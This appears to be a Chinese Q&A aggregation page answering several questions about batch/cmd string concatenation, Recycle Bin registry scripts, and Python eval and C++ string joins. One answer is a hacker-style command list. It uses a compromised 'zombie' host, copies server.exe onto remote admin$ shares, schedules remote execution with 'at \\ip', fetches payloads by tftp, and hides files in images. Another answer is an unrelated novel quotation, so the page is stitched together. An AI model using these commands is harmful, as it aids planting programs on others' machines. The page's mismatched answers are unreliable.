‘壹’ 批处理for循环中字符串拼接问题
for循环中,/f参数时,可以使用skip、tokens、delims、三个条件,skip是跳行,tokens是提取参数个数,delims是匹配分割符号。当delims和tokens放在一起时候,以你这个为例子:
for /f "tokens=1 delims= " %%i in (' *** ') do (//你这里以空格为间隔符,提取第一个作为%%i
set name=%%i //然后字符串赋值
set j=!name:~0,2! //扩展赋值,如果用到延迟变量,怎么开头没开启延迟变量?
if !j!==CN echo AAA/!name!/BBB/CCC //如果j字符换等于CN,显示AAA/!name!/BBB/CCC
)
从你这个问题推断,你的文件中字符串的格式不对。应该是有很多换行,或者扩展赋值那错了,你把题目写得太模糊,最好把原题放出来。
‘贰’ bat 如何将两个字符串变量联合在一起
可以写成set val = %VarA%%VarB%,但是由于赋值问题,建议前后加上引号。
例如:
@echo off
rem 两个变量拼接,等号前后一定不要有空格
set str1=Hello
set str2=world
set result=“%str1%, %str2%”
echo %result%
(2)cmd脚本字符串拼接扩展阅读
批处理文件,在DOS和Windows(任意)系统中,.bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用。
这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
批处理中的变量基本上是万能的,可以储存各种各样的数据,不过用来计算时你会发现变量类型转为了int,数值的极端范围为[-2147483648,2147483647],如果不拿来计算的话,似乎数万位也是可以的。
‘叁’ 跪求CMD命令并联命令要求上下衔接,带实例可追加分数。
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 at id号 开启已注册的某个计划任务 at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务 at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP(属telnet登陆后的命令) telnet 在本机上直接键入telnet 将进入本机的telnet 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 \\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: x 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将"IP"的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 mem 查看cpu使用情况 attrib 文件名(目录名) 查看某文件(目录)的属性 attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间,而不必输入新日期和时间 set 指定环境变量名称=要指派给变量的字符 设置环境变量 set 显示当前所有的环境变量 set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 pause 暂停批处理程序,并显示出:请按任意键继续.... if 在批处理程序中执行条件处理(更多说明见if命令及变量) goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:":start"标签) call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 echo 信息 在屏幕上显示出信息 echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello find 文件名 查找某文件 title 标题名字 更改CMD窗口标题名字 color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
‘肆’ cmd 连接字符串的命令怎么写 写了个创建以当前日期和事件命名的文件夹 批处理
答案:24. 贫僧是自东土大唐而来,专程去往西天拜佛求亲的。
‘伍’ CMD脚本文件
新建文本文档一个,在里面写上如下代码:
@echo off
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} /f
然后另存为 隐藏回收站.cmd
想要隐藏回收站时双击它即可,如果想显示回收站,同理制作 显示回收站.cmd ,代码为:
@echo off
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} /ve /d "Recycle Bin" /f
---------------解释(此行及以下部分不包括在CMD脚本文件中)-----------
:::::::::reg delete:
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine 远程机器名 - 忽略当前机器的默认值
远程机器上只有 HKLM 和 HKU
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下的注册表项的全名
ValueName 所选项下的要删除的值的名称
省略时,该项下的所有子项和值都会被删除
/ve 删除空白值名称<no name>的值
/va 删除该项下的所有值
/f 不用提示就强行删除
例如:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
删除注册表项 Timeout 及其所有子项和值
REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU
删除 ZODIAC 上 MyCo 下的注册表项 MTU
::::::::::::::::::::reg add:
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey
远程机器的机器名 - 忽略默认到当前机器。
远程机器上只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下注册表项的完整名
/v 所选项之下要添加的值名
/ve 为注册表项添加空白值名<无名称>
/t RegKey 数据类型
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
如果忽略,则采用 REG_SZ
/s 指定一个在 REG_MULTI_SZ 数据字符串中
用作分隔符的字符
如果忽略,则将 "\0" 用作分隔符
/d 要分配给添加的注册表 ValueName 的数据
/f 不用提示就强行改写现有注册表项
例如:
REG ADD \\ABC\HKLM\Software\MyCo
添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo
REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)
REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0)
REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)
注意: 在扩充字符串中使用双百分比符号( %% )
‘陆’ 如何通过cmd脚本复制文字到系统粘贴板
右键命令提示符窗口的标题栏,选择属性。
2
选择“编辑选项”里的“快速编辑模式”,并确定之;
3
在弹出的应用选择提示框上选择“保存属性,供以后具有相同标题的窗口使用”;
4
如此你就可以便捷的在命令提示符窗口里进行复杂粘贴操作了。
复制:进行如上设置后,鼠标左键按下选定一个区域,再右键在窗口内单击(或者按一下回车键),就将选定区文字复制下了。
粘贴:在未选定文字的状态下,窗口内单击右键,就将剪贴板的文字内容粘贴到窗口光标处了。
END
注意事项
在标记状态下,运行中的批处理会暂停。例如一些服务器是通过命令行启动,当你在命令行界面左键选定了一个区域(右键做了“标记”),命令行会暂停运行。
我这种人是双手极其不愿离开键盘的人,所以,我一般都是用 Alt + Space + E + P 这个一连串的按键来粘贴。
‘柒’ python用字符串拼接一条语句,然后怎么执行
python支持eval函数,可以把一个字符串当作python语句执行,具体你可以看看eval函数的使用方法
‘捌’ C++中如何把数字和字符串拼接起来
1、不同版本的C++编译环境有不同的做法,具体的思路应该是,先将数字转化为字符串,然后进行字符串的拼接即可。
2、具体到你要问的案例上,在VC或C++Builder环境中代码如下:
//注意头文件#include <stdlib.h>
String OutStr = str1 + IntToStr(value1) + str2 + IntToStr(value2);
‘玖’ dos批处理命令拼接字符串的问题
@echo off
setlocal enabledelayedexpansion
set aa=
for /f "delims=" %%a in ('dir /b ".\lib\*.jar"') do (
set "aa=!aa!%%a"
)
echo %aa%>a.bat
pause
‘拾’ Windows批处理CMD如何截取一个字符串中指定字符后面的字符串
1、首先打开cmd窗口,然后输入格式:%PATH:str1=str2% 将字符串的变量%PATH%中的str1替换为str2。